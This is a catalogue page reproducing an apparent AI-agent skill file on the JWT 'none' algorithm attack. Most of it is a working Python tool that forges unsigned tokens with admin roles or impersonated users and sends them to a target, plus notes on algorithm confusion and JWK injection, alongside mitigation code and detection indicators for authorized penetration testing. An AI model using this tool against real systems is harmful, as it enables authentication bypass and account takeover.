performing-jwt-none-algorithm-attack skill (Anthropic-Cybersecurity-Skills)

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What it does. Execute and test the JWT none algorithm attack, crafting tokens with Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).
Upstream mukul975/Anthropic-Cybersecurity-Skills
Skill file skills/performing-jwt-none-algorithm-attack/SKILL.md
License Apache-2.0 (skill folder LICENSE)
Author mukul975
Fetched 2026-09-10

Install

  • npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-jwt-none-algorithm-attack, or copy the skill folder into ~/.claude/skills/performing-jwt-none-algorithm-attack/.
  • Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-jwt-none-algorithm-attack/SKILL.md

SKILL.md (verbatim)

1 placeholder credential was shortened (for example to api_key=YOUR_KEY) to pass the site's secret filter.

name: performing-jwt-none-algorithm-attack
description: Execute and test the JWT none algorithm attack, crafting tokens with
  the alg header set to none using PyJWT and an intercepting proxy (Burp Suite/mitmproxy)
  to bypass signature verification and forge arbitrary claims. Use during authorized
  penetration tests or security assessments of applications that use JWT for authentication
  or authorization, to validate that the server rejects unsigned tokens.
domain: cybersecurity
subdomain: api-security
tags:
- jwt
- none-algorithm
- authentication-bypass
- token-manipulation
- signature-bypass
- penetration-testing
- owasp
- web-security
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1552.001
- T1027
- T1070

Performing JWT None Algorithm Attack

Overview

The JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the alg header set to none, effectively bypassing signature verification. When a server processes a JWT with "alg": "none", it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.

When to Use

  • When conducting security assessments that involve performing jwt none algorithm attack
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Target application using JWT for authentication or authorization
  • Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)
  • Python 3.8+ with PyJWT library for token crafting
  • Understanding of JWT structure (Header.Payload.Signature)
  • Authorization to perform security testing on the target

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

JWT Structure

A JWT consists of three Base64URL-encoded parts separated by dots:

Header.Payload.Signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature

Attack Methodology

Step 1: Capture a Valid JWT

Intercept a legitimate JWT from the target application using Burp Suite or browser developer tools:

Authorization: Bearer <token>

Step 2: Decode and Analyze the Token

import base64
import json

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

parts = token.split('.')

# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# Output: {'alg': 'HS256', 'typ': 'JWT'}

# Decode payload
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}

Step 3: Craft a Forged Token with None Algorithm

#!/usr/bin/env python3
"""JWT None Algorithm Attack Tool

Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""

import base64
import json
import requests
import sys
from typing import Optional

class JWTNoneAttack:
    # All known variations of the 'none' algorithm value
    NONE_VARIANTS = [
        "none",
        "None",
        "NONE",
        "nOnE",
        "noNe",
        "NoNe",
        "nONE",
        "nonE",
    ]

    def __init__(self, target_url: str, original_token: str):
        self.target_url = target_url
        self.original_token = original_token
        self.original_header, self.original_payload = self._decode_token(original_token)

    def _base64url_encode(self, data: bytes) -> str:
        """Base64URL encode without padding."""
        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

    def _base64url_decode(self, data: str) -> bytes:
        """Base64URL decode with padding restoration."""
        padding = 4 - len(data) % 4
        if padding != 4:
            data += '=' * padding
        return base64.urlsafe_b64decode(data)

    def _decode_token(self, token: str) -> tuple:
        """Decode JWT header and payload."""
        parts = token.split('.')
        header = json.loads(self._base64url_decode(parts[0]))
        payload = json.loads(self._base64url_decode(parts[1]))
        return header, payload

    def craft_none_token(self, modified_payload: dict,
                          alg_variant: str = "none") -> str:
        """Craft a JWT with the none algorithm and modified payload."""
        # Create header with none algorithm
        header = {"alg": alg_variant, "typ": "JWT"}
        header_encoded = self._base64url_encode(json.dumps(header).encode())

        # Encode modified payload
        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())

        # Token with empty signature (just trailing dot)
        return f"{header_encoded}.{payload_encoded}."

    def craft_privilege_escalation(self, role_field: str = "role",
                                     admin_value: str = "admin") -> list:
        """Create tokens with escalated privileges using all none variants."""
        tokens = []
        modified_payload = dict(self.original_payload)
        modified_payload[role_field] = admin_value

        for variant in self.NONE_VARIANTS:
            token = self.craft_none_token(modified_payload, variant)
            tokens.append({"variant": variant, "token": token})

        return tokens

    def craft_user_impersonation(self, target_user_id: str,
                                   user_field: str = "sub") -> str:
        """Create a token impersonating another user."""
        modified_payload = dict(self.original_payload)
        modified_payload[user_field] = target_user_id
        return self.craft_none_token(modified_payload)

    def test_none_variants(self, endpoint: str = "/api/profile",
                            headers: Optional[dict] = None) -> list:
        """Test all none algorithm variants against the target."""
        results = []
        base_headers = headers or {}

        for variant in self.NONE_VARIANTS:
            modified_payload = dict(self.original_payload)
            modified_payload["role"] = "admin"
            token = self.craft_none_token(modified_payload, variant)

            test_headers = dict(base_headers)
            test_headers["Authorization"] = f"Bearer {token}"

            try:
                response = requests.get(
                    f"{self.target_url}{endpoint}",
                    headers=test_headers,
                    timeout=10
                )
                result = {
                    "variant": variant,
                    "status_code": response.status_code,
                    "accepted": response.status_code == 200,
                    "response_length": len(response.content),
                }
                results.append(result)

                if response.status_code == 200:
                    print(f"  [VULNERABLE] alg='{variant}' -> {response.status_code}")
                else:
                    print(f"  [SAFE] alg='{variant}' -> {response.status_code}")

            except requests.exceptions.RequestException as e:
                results.append({
                    "variant": variant,
                    "status_code": 0,
                    "accepted": False,
                    "error": str(e)
                })

        return results

    def test_empty_signature_variants(self) -> list:
        """Test different empty signature formats."""
        modified_payload = dict(self.original_payload)
        modified_payload["role"] = "admin"
        header = {"alg": "none", "typ": "JWT"}

        header_encoded = self._base64url_encode(json.dumps(header).encode())
        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())

        # Different signature formats
        variants = [
            f"{header_encoded}.{payload_encoded}.",      # Empty signature with trailing dot
            f"{header_encoded}.{payload_encoded}",       # No trailing dot
            f"{header_encoded}.{payload_encoded}.AA==",  # Minimal base64 signature
        ]

        results = []
        for token in variants:
            results.append({"token_format": token[-20:], "token": token})

        return results


def main():
    if len(sys.argv) < 3:
        print("Usage: python jwt_none_attack.py <target_url> <original_token>")
        print("Example: python jwt_none_attack.py https://api.example.com eyJhbG...")
        sys.exit(1)

    target_url = sys.argv[1]
    original_token = sys.argv[2]

    attacker = JWTNoneAttack(target_url, original_token)

    print(f"\nOriginal Token Header: {attacker.original_header}")
    print(f"Original Token Payload: {attacker.original_payload}")

    print(f"\n{'='*60}")
    print("Testing None Algorithm Variants")
    print(f"{'='*60}")
    results = attacker.test_none_variants()

    vulnerable = [r for r in results if r.get("accepted")]
    if vulnerable:
        print(f"\n[!] VULNERABLE: {len(vulnerable)} variant(s) accepted!")
        print("[!] The server does not properly validate JWT signatures")
    else:
        print(f"\n[+] SECURE: All none algorithm variants were rejected")


if __name__ == "__main__":
    main()

Step 4: Additional JWT Attack Variants

Algorithm Confusion (RS256 to HS256): If the server uses RS256 (asymmetric), an attacker who knows the public key can:

  1. Change alg to HS256
  2. Sign the token using the public key as the HMAC secret
  3. The server may verify the signature using its public key as an HMAC key

JWK Header Injection (CVE-2018-0114):

{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "n": "<attacker-controlled-key>",
    "e": "AQAB"
  }
}

Mitigation Strategies

# Secure JWT verification - always specify allowed algorithms
import jwt

def verify_token_secure(token: str, secret_key: str) -> dict:
    """Verify JWT with explicit algorithm allowlist."""
    try:
        payload = jwt.decode(
            token,
            secret_key,
            algorithms=["HS256"],  # CRITICAL: Explicit allowlist
            options={
                "require": ["exp", "iat", "sub"],  # Required claims
                "verify_exp": True,
                "verify_iat": True,
            }
        )
        return payload
    except jwt.InvalidAlgorithmError:
        raise ValueError("Invalid token algorithm")
    except jwt.ExpiredSignatureError:
        raise ValueError("Token expired")
    except jwt.InvalidTokenError:
        raise ValueError("Invalid token")

Detection Indicators

  • JWT tokens with "alg": "none" (or case variations) in server logs
  • Tokens with empty or missing signature segments
  • Sudden change in algorithm field from normal patterns
  • Tokens with modified claims (role escalation) from the same session
  • Authorization header containing tokens with only two Base64 segments

References

Other files in this skill

references/api-reference.md (verbatim)

API Reference — Performing JWT None Algorithm Attack

Libraries Used

  • base64: Base64url encoding/decoding for JWT components
  • hmac / hashlib: HMAC-SHA256 signing for algorithm confusion attacks
  • json: JWT header/payload serialization
  • requests (optional): Test forged tokens against live endpoints

CLI Interface

python agent.py decode --token <jwt_string>
python agent.py forge --token <jwt_string> [--claims '{"role":"admin"}']
python agent.py confuse --token <jwt_string> [--pubkey public.pem]
python agent.py test --url <api_endpoint> --token <original_jwt>

Core Functions

decode_jwt(token) — Decode JWT without verification

Returns header, payload, and vulnerability checks: alg=none, no expiry, expired, no issuer.

forge_none_token(token, modify_claims) — Create alg=none variants

Generates 6 variants: none, None, NONE, nOnE, empty signature, no trailing dot.

test_alg_confusion(token, public_key_file) — Algorithm confusion attack

Tests RS256-to-HS256 downgrade using RSA public key as HMAC secret.

test_jwt_endpoint(url, original_token, forged_tokens) — Validate against API

Sends forged tokens to target endpoint. Reports CRITICAL if any variant accepted.

JWT None Variants Tested

Variant Algorithm Header
alg_none "alg": "none"
alg_None "alg": "None"
alg_NONE "alg": "NONE"
alg_nOnE "alg": "nOnE"
empty_sig No signature segment

Severity Classification

  • CRITICAL: Any none-algorithm token accepted by server
  • INFO: All forged tokens rejected

Dependencies

pip install requests  # optional, for endpoint testing

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